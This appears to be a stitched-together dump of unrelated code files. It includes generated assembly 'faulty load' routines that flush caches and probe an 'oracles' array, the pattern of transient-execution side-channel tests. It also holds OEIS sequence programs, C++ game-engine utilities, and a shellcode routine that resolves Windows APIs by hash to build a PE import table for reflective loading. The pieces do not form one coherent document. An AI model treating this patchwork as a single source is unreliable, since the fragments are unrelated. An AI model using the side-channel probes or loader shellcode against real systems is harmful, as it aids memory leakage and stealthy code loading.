%r11 lea addresses_normal_ht+0x1bc62, %rcx nop nop nop nop inc %r15 movb $0x61, (%rcx) nop nop nop nop nop cmp %rsi, %rsi lea addresses_D_ht+0xfec2, %r15 nop xor %rsi, %rsi mov (%r15), %r8 nop nop nop nop add %r11, %r11 lea addresses_D_ht+0x17d62, %rbx nop nop and $27280, %rdi mov (%rbx), %rcx and $8497, %rbx lea addresses_UC_ht+0x6fe2, %rdx clflush (%rdx) nop nop nop nop nop cmp %r11, %r11 and $0xffffffffffffffc0, %rdx movaps (%rdx), %xmm6 vpextrq $1, %xmm6, %rbx nop nop nop nop nop cmp %rcx, %rcx lea addresses_normal_ht+0x3362, %rdi nop and $63903, %r11 movups (%rdi), %xmm2 vpextrq $0, %xmm2, %rsi nop nop nop nop nop cmp $42204, %rsi lea addresses_WT_ht+0x3d9e, %rsi lea addresses_WT_ht+0x9162, %rdi nop nop nop nop nop sub %r15, %r15 mov $23, %rcx rep movsw nop nop nop nop nop and $44018, %rsi lea addresses_A_ht+0x11462, %rsi lea addresses_UC_ht+0x1d762, %rdi nop nop nop nop lfence mov $68, %rcx rep movsw nop nop nop nop nop cmp $21420, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %rbx pop %r8 pop %r15 pop %r11 ret .global s_faulty_load s_faulty_load: push %r12 push %r15 push %rbp push %rbx push %rdi push %rdx push %rsi // Load lea addresses_normal+0x14e02, %r15 and %rbp, %rbp vmovups (%r15), %ymm6 vextracti128 $1, %ymm6, %xmm6 vpextrq $0, %xmm6, %rdi nop inc %rdi // Load lea addresses_PSE+0x16a16, %rsi nop nop cmp %rdx, %rdx mov (%rsi), %di nop sub $17983, %rbp // Faulty Load lea addresses_UC+0x15962, %rbx nop nop nop and %rdi, %rdi mov (%rbx), %dx lea oracles, %r12 and $0xff, %rdx shlq $12, %rdx mov (%r12,%rdx,1), %rdx pop %rsi pop %rdx pop %rdi pop %rbx pop %rbp pop %r15 pop %r12 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC', 'NT': True, 'AVXalign': True, 'size': 32, 'congruent': 0}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_PSE', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2}} [Faulty Load] {'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}} <gen_prepare_buffer> {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 5}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': True, 'size': 32, 'congruent': 4}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_A_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 7}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 10}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 1, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 2, 'type': 'addresses_A_ht'}} {'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 11}} {'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': True, 'size': 1, 'congruent': 8}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': True, 'AVXalign': False, 'size': 8, 'congruent': 5}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 9}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': True, 'size': 16, 'congruent': 7}} {'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 8}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 2, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_WT_ht'}} {'OP': 'REPM', 'src': {'same': False, 'congruent': 6, 'type': 'addresses_A_ht'}, 'dst': {'same': False, 'congruent': 8, 'type': 'addresses_UC_ht'}} {'37': 21829} 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 37 */
; A153008: Catalan number A000108(n) minus Motzkin number A001006(n). ; Submitted by Christian Krause ; 0,0,0,1,5,21,81,302,1107,4027,14608,52988,192501,701065,2560806,9384273,34504203,127288011,471102318,1749063906,6513268401,24323719461,91081800417,341929853235,1286711419527,4852902998951,18341683253676 mov $2,$0 seq $0,108 ; Catalan numbers: C(n) = binomial(2n,n)/(n+1) = (2n)!/(n!(n+1)!). seq $2,1006 ; Motzkin numbers: number of ways of drawing any number of nonintersecting chords joining n (labeled) points on a circle. sub $0,$2
.global s_prepare_buffers s_prepare_buffers: push %r11 push %r14 push %r9 push %rcx push %rdi push %rdx push %rsi lea addresses_A_ht+0x13eac, %rsi lea addresses_WT_ht+0x14844, %rdi nop sub $44738, %r11 mov $69, %rcx rep movsw and $40151, %rdx lea addresses_D_ht+0x10104, %rsi lea addresses_normal_ht+0x10f44, %rdi nop add $55356, %r9 mov $62, %rcx rep movsq dec %rsi lea addresses_WC_ht+0xf2e4, %rsi nop inc %r11 movl $0x61626364, (%rsi) nop nop nop add $64271, %rdx lea addresses_WT_ht+0x100d4, %rsi lea addresses_UC_ht+0x11104, %rdi nop xor $3426, %r14 mov $1, %rcx rep movsw nop nop nop nop nop add $23182, %r14 lea addresses_D_ht+0x3f04, %rdx nop nop nop nop nop add %r11, %r11 mov (%rdx), %r14d cmp %r9, %r9 lea addresses_D_ht+0x9938, %rcx nop nop nop nop cmp %r14, %r14 movb $0x61, (%rcx) nop nop sub %r9, %r9 lea addresses_WC_ht+0x1db84, %rcx nop nop cmp %rdx, %rdx mov (%rcx), %r9d sub $43999, %rdx pop %rsi pop %rdx pop %rdi pop %rcx pop %r9 pop %r14 pop %r11 ret .global s_faulty_load s_faulty_load: push %r11 push %r12 push %r8 push %rbp push %rcx push %rdi push %rdx // Load lea addresses_D+0x2904, %r11 nop sub $6683, %r12 mov (%r11), %di nop nop xor $61755, %rdi // Faulty Load lea addresses_US+0x104, %rbp inc %r8 movb (%rbp), %r11b lea oracles, %rbp and $0xff, %r11 shlq $12, %r11 mov (%rbp,%r11,1), %r11 pop %rdx pop %rdi pop %rcx pop %rbp pop %r8 pop %r12 pop %r11 ret /* <gen_faulty_load> [REF] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': True, 'congruent': 0, 'size': 8, 'same': True, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D', 'AVXalign': False, 'congruent': 11, 'size': 2, 'same': False, 'NT': False}} [Faulty Load] {'OP': 'LOAD', 'src': {'type': 'addresses_US', 'AVXalign': False, 'congruent': 0, 'size': 1, 'same': True, 'NT': False}} <gen_prepare_buffer> {'OP': 'REPM', 'src': {'type': 'addresses_A_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 6, 'same': False}} {'OP': 'REPM', 'src': {'type': 'addresses_D_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 6, 'same': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 3, 'size': 4, 'same': False, 'NT': False}} {'OP': 'REPM', 'src': {'type': 'addresses_WT_ht', 'congruent': 4, 'same': False}, 'dst': {'type': 'addresses_UC_ht', 'congruent': 10, 'same': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 9, 'size': 4, 'same': False, 'NT': False}} {'OP': 'STOR', 'dst': {'type': 'addresses_D_ht', 'AVXalign': False, 'congruent': 2, 'size': 1, 'same': False, 'NT': False}} {'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'AVXalign': False, 'congruent': 7, 'size': 4, 'same': False, 'NT': False}} {'00': 21829} 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 */
dew {z1}
// Copyright 2019 Google LLC & Bastiaan Konings // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // written by bastiaan konings schuiling 2008 - 2015 // this work is public domain. the code is undocumented, scruffy, untested, and should generally not be used for anything important. // i do not offer support, so don't ask. to be used for inspiration :) #include "main.hpp" #include "utils.hpp" #include "systems/graphics/resources/texture.hpp" #include "managers/resourcemanagerpool.hpp" #include <boost/algorithm/string.hpp> #include <cmath> float GetQuantizedDirectionBias() { return GetConfiguration()->GetReal("gameplay_quantizeddirectionbias", _default_QuantizedDirectionBias); } void QuantizeDirection(Vector3 &inputDirection, float bias) { // digitize input Vector3 inputDirectionNorm = inputDirection.GetNormalized(0); int directions = GetConfiguration()->GetInt("gameplay_quantizeddirectioncount", 8); radian angle = inputDirectionNorm.GetAngle2D(); angle /= pi * 2.0f; angle = std::round(angle * directions); angle /= directions; angle *= pi * 2.0f; inputDirection = (inputDirectionNorm * (1.0 - bias) + (Vector3(1, 0, 0).GetRotated2D(angle) * bias)).GetNormalized(inputDirectionNorm) * inputDirection.GetLength(); } Vector3 GetProjectedCoord(const Vector3 &pos3D, boost::intrusive_ptr<Camera> camera) { Matrix4 rotMat; rotMat.ConstructInverse(camera->GetDerivedPosition(), Vector3(1, 1, 1), camera->GetDerivedRotation()); float fov = camera->GetFOV(); // cotangent float f = 1.0 / tan((fov / 360.0 * pi * 2) / 2.0); Vector3 contextSize3D = GetGraphicsSystem()->GetContextSize(); float aspect = contextSize3D.coords[0] / contextSize3D.coords[1]; float aspect2D = GetMenuTask()->GetWindowManager()->GetAspectRatio(); if (aspect2D < aspect) aspect = aspect2D; //printf("aspect: %f\n", aspect); float zNear = 40.0; float zFar = 270.0; Matrix4 perspMat; perspMat.elements[0] = f / aspect; perspMat.elements[5] = f; perspMat.elements[10] = (zFar + zNear) / (zNear - zFar); perspMat.elements[11] = (2 * zFar * zNear) / (zNear - zFar); perspMat.elements[14] = -1; Matrix4 resMat = perspMat * rotMat; float x, y, z, w; resMat.MultiplyVec4(pos3D.coords[0], pos3D.coords[1], pos3D.coords[2], 1, x, y, z, w); Vector3 result; result.coords[0] = x / w; result.coords[1] = y / w; //printf("%f %f %f\n", x / w, y / w, z / w); result.coords[1] = -result.coords[1]; result.coords[1] *= aspect2D / aspect; result += 1.0; result *= 0.5; result *= 100; return result; } int GetVelocityID(e_Velocity velo, bool treatDribbleAsWalk) { int id = 0; switch (velo) { case e_Velocity_Idle: id = 0; break; case e_Velocity_Dribble: id = 1; break; case e_Velocity_Walk: id = 2; break; case e_Velocity_Sprint: id = 3; break; default: id = 0; break; } if (treatDribbleAsWalk && id > 1) id--; return id; } std::map < e_PositionName, std::vector<Stat> > defaultProfiles; float CalculateStat(float baseStat, float profileStat, float age, e_DevelopmentCurveType developmentCurveType) { float idealAge = 27; float ageFactor = curve( 1.0f - NormalizedClamp(fabs(age - idealAge), 0, 13) * 0.5f , 1.0f) * 2.0f - 1.0f; // 0 .. 1 assert(ageFactor >= 0.0f && ageFactor <= 1.0f); //ageFactor = clamp(ageFactor, 0.0f, 1.0f); // this factor should roughly be around 1.0f for good players at their top age. float agedBaseStat = baseStat * (ageFactor * 0.5f + 0.5f) * 1.2f; float agedProfileStat = clamp(profileStat * 2.0f * agedBaseStat, 0.01f, 1.0f); // profile stat * 2 because average == 0.5 return agedProfileStat; } template <> TemporalValue<Quaternion>::TemporalValue() { data = QUATERNION_IDENTITY; time_ms = 0; }; template <typename T> TemporalSmoother<T>::TemporalSmoother() { //snapshotSize = 3; snapshotSize = 3 + int(std::ceil(temporalSmoother_history_ms / 10.0f)); // not sure how to calculate proper number? values = boost::circular_buffer< TemporalValue<T> >(snapshotSize); } template <typename T> void TemporalSmoother<T>::SetValue(const T &data, unsigned long valueTime_ms) { TemporalValue<T> value; value.data = data; value.time_ms = valueTime_ms; //printf("adding time: %lu\n", value.time_ms); values.push_back(value); } template <typename T> T TemporalSmoother<T>::GetValue(unsigned long currentTime_ms, unsigned long history_ms) const { if (values.size() == 0) { TemporalValue<T> bla; // do it like this so the struct constructor is invoked for T return bla.data; } if (values.size() == 1) return (*values.begin()).data; // only one value yet //return (values.back()).data; // disable smoother unsigned long now_ms = currentTime_ms; //unsigned long now_ms = (currentTime_ms == 0) ? EnvironmentManager::GetInstance().GetTime_ms() : currentTime_ms; unsigned long targetTime_ms = 0; if (history_ms <= now_ms) targetTime_ms = now_ms - history_ms; // this makes sure targetTime_ms won't become negative (and loop-around since it's an unsigned var) // find the 2 values we need TemporalValue<T> value1; TemporalValue<T> value2; int t1index = -1; int t2index = -1; for (unsigned int i = 0; i < values.size(); i++) { const TemporalValue<T> *iter = &values[i]; if ((*iter).time_ms <= targetTime_ms) { value1.data = (*iter).data; value1.time_ms = (*iter).time_ms; t1index = i; } else if ((*iter).time_ms > targetTime_ms) { value2.data = (*iter).data; value2.time_ms = (*iter).time_ms; t2index = i; break; } } if (value1.time_ms == 0) return value2.data; if (value2.time_ms == 0) return value1.data; float bias = NormalizedClamp(targetTime_ms, value1.time_ms, std::max(value2.time_ms, value1.time_ms + 1)); return DataMix(value1.data, value2.data, bias); } template <typename T> T TemporalSmoother<T>::DataMix(const T &data1, const T &data2, float bias) const { return data1 * (1.0f - bias) + data2 * bias; } template <> Quaternion TemporalSmoother<Quaternion>::DataMix(const Quaternion &data1, const Quaternion &data2, float bias) const { return data1.GetLerped(bias, data2); } template class TemporalSmoother<Vector3>; template class TemporalSmoother<Quaternion>; template class TemporalSmoother<float>; template class TemporalSmoother<unsigned long>; template class TemporalSmoother<int>;
; ; Author: Ege Balcı <ege.balci@protonmail.com> ; Version: 1.0 ; [BITS 32] [ORG 0] BuildImportTable: mov eax,[esi+0x3C] ; Offset to IMAGE_NT_HEADER ("PE") mov eax,[eax+esi+0x80] ; Import table RVA add eax,esi ; Import table memory address (first image import descriptor) push eax ; Save import descriptor to stack GetDLLs: cmp dword [eax],0x00 ; Check if the import names table RVA is NULL jz Complete ; If yes building process is done mov eax,[eax+0x0C] ; Get RVA of dll name to eax add eax,esi ; Get the dll name address call LoadLibraryA ; Load the library mov ebx,eax ; Move the dll handle to ebx mov eax,[esp] ; Move the address of current _IMPORT_DESCRIPTOR to eax call GetProcs ; Resolve all windows API function addresses add dword [esp],0x14 ; Move to the next import descriptor mov eax,[esp] ; Set the new import descriptor address to eax jmp GetDLLs ;----------------------------------------------------------------------------------- GetProcs: push ecx ; Save ecx to stack push dword [eax+0x10] ; Save the current import descriptor IAT RVA add [esp],esi ; Get the IAT memory address mov eax,[eax] ; Set the import names table RVA to eax add eax,esi ; Get the current import descriptor's import names table address push eax ; Save it to stack Resolve: cmp dword [eax],0x00 ; Check if end of the import names table jz AllResolved ; If yes resolving process is done mov eax,[eax] ; Get the RVA of function hint to eax cmp eax,0x80000000 ; Check if the high order bit is set js NameResolve ; If high order bit is not set resolve with INT entry sub eax,0x80000000 ; Zero out the high bit call GetProcAddress ; Get the API address with hint jmp InsertIAT ; Insert the address of API tı IAT NameResolve: add eax,esi ; Set the address of function hint add dword eax,0x02 ; Move to function name call GetProcAddress ; Get the function address to eax InsertIAT: mov ecx,[esp+4] ; Move the IAT address to ecx mov [ecx],eax ; Insert the function address to IAT add dword [esp],0x04 ; Increase the import names table index add dword [esp+4],0x04 ; Increase the IAT index mov eax,[esp] ; Set the address of import names table address to eax jmp Resolve ; Loop AllResolved: mov ecx,[esp+4] ; Move the IAT address to ecx mov dword [ecx],0x00 ; Insert a NULL dword add esp,0x08 ; Deallocate index values pop ecx ; Put back the ecx value ret ; <- ;----------------------------------------------------------------------------------- LoadLibraryA: push ecx ; Save ecx to stack push edx ; Save edx to stack push eax ; Push the address of linrary name string push 0x0726774C ; hash( "kernel32.dll", "LoadLibraryA" ) call ebp ; LoadLibraryA([esp+4]) pop edx ; Retreive edx pop ecx ; Retreive ecx ret ; <- ;----------------------------------------------------------------------------------- GetProcAddress: push ecx ; Save ecx to stack push edx ; Save edx to stack push eax ; Push the address of proc name string push ebx ; Push the dll handle push 0x7802F749 ; hash( "kernel32.dll", "GetProcAddress" ) call ebp ; GetProcAddress(ebx,[esp+4]) pop edx ; Retrieve edx pop ecx ; Retrieve ecx ret ; <- ;----------------------------------------------------------------------------------- Complete: pop eax ; Clean out the stack
; A081071: a(n) = Lucas(4*n+2)-2, or Lucas(2*n+1)^2. ; 1,16,121,841,5776,39601,271441,1860496,12752041,87403801,599074576,4106118241,28143753121,192900153616,1322157322201,9062201101801,62113250390416,425730551631121,2918000611027441,20000273725560976,137083915467899401,939587134549734841,6440026026380244496,44140595050111976641,302544139324403592001,2073668380220713167376,14213134522220588579641,97418273275323406890121,667714778405043259651216,4576585175559979410668401,31368381450514812615027601,215002084978043708894524816,1473646213395791149646646121,10100521408792494338631998041,69230003648151669220777340176,474509504128269190206809383201,3252336525249732662226888342241,22291846172619859445381409012496,152790586683089283455442974745241,1047242260609005124742719414204201,7177905237579946589743592924684176,49198094402450621003462431058585041,337208755579574400434493424485411121 seq $0,2878 ; Bisection of Lucas sequence: a(n) = L(2*n+1). pow $0,2
; A191901: Number of compositions of odd natural numbers into 6 parts <= n. ; 0,32,364,2048,7812,23328,58824,131072,265720,500000,885780,1492992,2413404,3764768,5695312,8388608,12068784,17006112,23522940,32000000,42883060,56689952,74017944,95551488,122070312,154457888,193710244,240945152,297411660,364500000,443751840,536870912,645733984,772402208,919132812,1088391168,1282863204,1505468192,1759371880,2048000000,2375052120,2744515872,3160681524,3628156928,4151882812,4737148448,5389607664,6115295232,6920643600,7812500000,8798143900,9885304832,11082180564,12397455648,13840320312,15420489728,17148223624,19034346272,21090266820,23328000000,25760187180,28400117792,31261751104,34359738368,37709445312,41326975008,45229191084,49433741312,53959081540,58824500000,64050141960,69657034752,75667113144,82103245088,88989257812,96349964288,104211190044,112599800352,121543727760,131072000000,141214768240,152003335712,163470186684,175649015808,188574757812,202283617568,216813100504,232202043392,248490645480,265720500000,283934626020,303177500672,323495091724,344934890528,367545945312,391378894848,416486002464,442921190432,470740074700,500000000000 add $0,1 pow $0,6 div $0,2
; A220465: Reverse reluctant sequence of reverse reluctant sequence A004736. ; 1,2,1,1,2,1,3,1,2,1,2,3,1,2,1,1,2,3,1,2,1,4,1,2,3,1,2,1,3,4,1,2,3,1,2,1,2,3,4,1,2,3,1,2,1,1,2,3,4,1,2,3,1,2,1,5,1,2,3,4,1,2,3,1,2,1,4,5,1,2,3,4,1,2,3,1,2,1,3,4,5,1,2,3,4,1,2,3,1,2,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,5,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,4,5,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,3,4,5,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,2,3,4,5,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,1,2,3,4,5,6,1,2,3,4,5,1,2,3,4,1,2,3,1,2,1,7,1,2,3,4,5,6,1,2,3,4,5,1,2,3,4,1,2,3 cal $0,25676 ; Exponent of 8 (value of i) in n-th number of form 8^i*9^j. cal $0,25669 ; Exponent of 7 (value of i) in n-th number of form 7^i*8^j. mov $1,$0 add $1,1
; A178395: Triangle T(n,m) read by rows: the numerator of the coefficient [x^m] of the inverse Euler polynomial E^{-1}(n,x), 0 <= m <= n. ; 1,1,1,1,1,1,1,3,3,1,1,2,3,2,1,1,5,5,5,5,1,1,3,15,10,15,3,1,1,7,21,35,35,21,7,1,1,4,14,28,35,28,14,4,1,1,9,18,42,63,63,42,18,9,1,1,5,45,60,105,126,105,60,45,5,1,1,11,55,165,165,231,231,165,165,55,11,1,1,6,33,110,495,396,462,396,495,110,33,6,1 seq $0,7318 ; Pascal's triangle read by rows: C(n,k) = binomial(n,k) = n!/(k!*(n-k)!), 0 <= k <= n. dif $0,2
#include "stdafx.h" #include <iostream> int integerPower(int base, int exponent) { int t = base; for (exponent; exponent > 1; exponent--) { base *= t; } return base; } int _tmain(int argc, _TCHAR* argv[]) { int base; int exponent; std::cout << "base: "; std::cin >> base; std::cout << "exponent: "; std::cin >> exponent; std::cout << "base^exponent=" << integerPower(base, exponent) << std::endl; std::cin.get(); return 0; }
dseg segment counter dw 0 arr dw 80,-20,-50,5,21,22 N equ 6 dseg ends sseg segment stack dw 100h dup(?) sseg ends cseg segment assume ds:dseg,cs:cseg,ss:sseg start: mov ax,dseg mov ds,ax mov cx, N ; cx = array size mov si, 0 ; si is the index for arr myloop: mov ax, arr[si] ; ax =arr[si] TEST ax,8000h ; if negative or positive jz next test ax, 1 ; check if odd or even jnz next ; jmp if e-zogi inc counter next: add si,2 loop myloop mov ah,4ch int 21h cseg ends end start
